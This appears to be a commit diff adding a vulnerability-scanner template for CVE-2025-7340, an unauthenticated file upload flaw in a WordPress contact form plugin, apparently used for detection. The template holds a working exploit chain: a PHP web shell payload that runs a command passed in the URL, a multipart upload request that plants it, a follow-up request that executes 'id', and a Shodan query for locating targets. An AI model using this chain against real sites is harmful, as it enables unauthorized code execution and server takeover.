Review and update CVE-2025-7340 template

- Add impact and remediation sections - Add proper reference links - Add CVSS classification data - Add vendor/product metadata - Add Shodan query for detection - Update tags to include vendor name - Mark as verified and set max-request
Create CVE-2025-7340.yaml
2026-11-07 08:36:19 -10:00 · 2025-07-17 14:56:49 +04:00 · 2025-07-17 09:47:28 +05:30
1 changed files with 90 additions and 0 deletions
@@ -0,0 +1,90 @@
+id: CVE-2025-7340
+
+info:
+  name: HT Contact Form Widget <= 2.2.1 - Unauthenticated Arbitrary File Upload
+  author: pussycat0x
+  severity: critical
+  description: |
+    The HT Contact Form Widget plugin for WordPress (≤ v2.2.1) lacks proper file type validation in the temp_file_upload function. This allows unauthenticated attackers to upload arbitrary files to the server.
+  impact: |
+    Unauthenticated attackers can upload and execute arbitrary files on the server, potentially leading to complete system compromise including data theft, malicious code execution, and server takeover.
+  remediation: |
+    Update the HT Contact Form Widget plugin to a version newer than 2.2.1 or remove the plugin if no patch is available.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-7340
+    - https://wordpress.org/plugins/ht-contactform/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-7340
+    cwe-id: CWE-434
+  metadata:
+    verified: true
+    max-request: 3
+    vendor: htheme
+    product: ht_contact_form_widget
+    shodan-query: http.html:"wp-content/plugins/ht-contactform"
+  tags: cve,cve2025,wordpress,intrusive,rce,htcontact,plugin,file-upload,htheme
+
+variables:
+  payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
+  cmd: 'id'
+
+flow: http(1) && http(2) && http(3)
+
+http:
+  - raw:
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: word
+        part: body
+        internal: true
+        words:
+          - "wp-content/plugins/ht-contactform"
+
+  - raw:
+      - |
+        POST /wp-admin/admin-ajax.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
+
+        ------WebKitFormBoundary
+        Content-Disposition: form-data; name="action"
+
+        ht_form_temp_file_upload
+        ------WebKitFormBoundary
+        Content-Disposition: form-data; name="_wpnonce"
+
+        {{randstr}}
+        ------WebKitFormBoundary
+        Content-Disposition: form-data; name="form_id"
+
+        7
+        ------WebKitFormBoundary
+        Content-Disposition: form-data; name="ht_form_file"; filename="{{randstr}}.php"
+        Content-Type: application/x-php
+
+        {{payload}}
+        ------WebKitFormBoundary--
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        internal: true
+        words:
+          - "wp-content/uploads/ht_form/temp"
+
+  - raw:
+      - |
+        GET /wp-content/uploads/ht_form/temp/{{randstr}}.php?cmd={{cmd}}
+        Host: {{Hostname}}
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"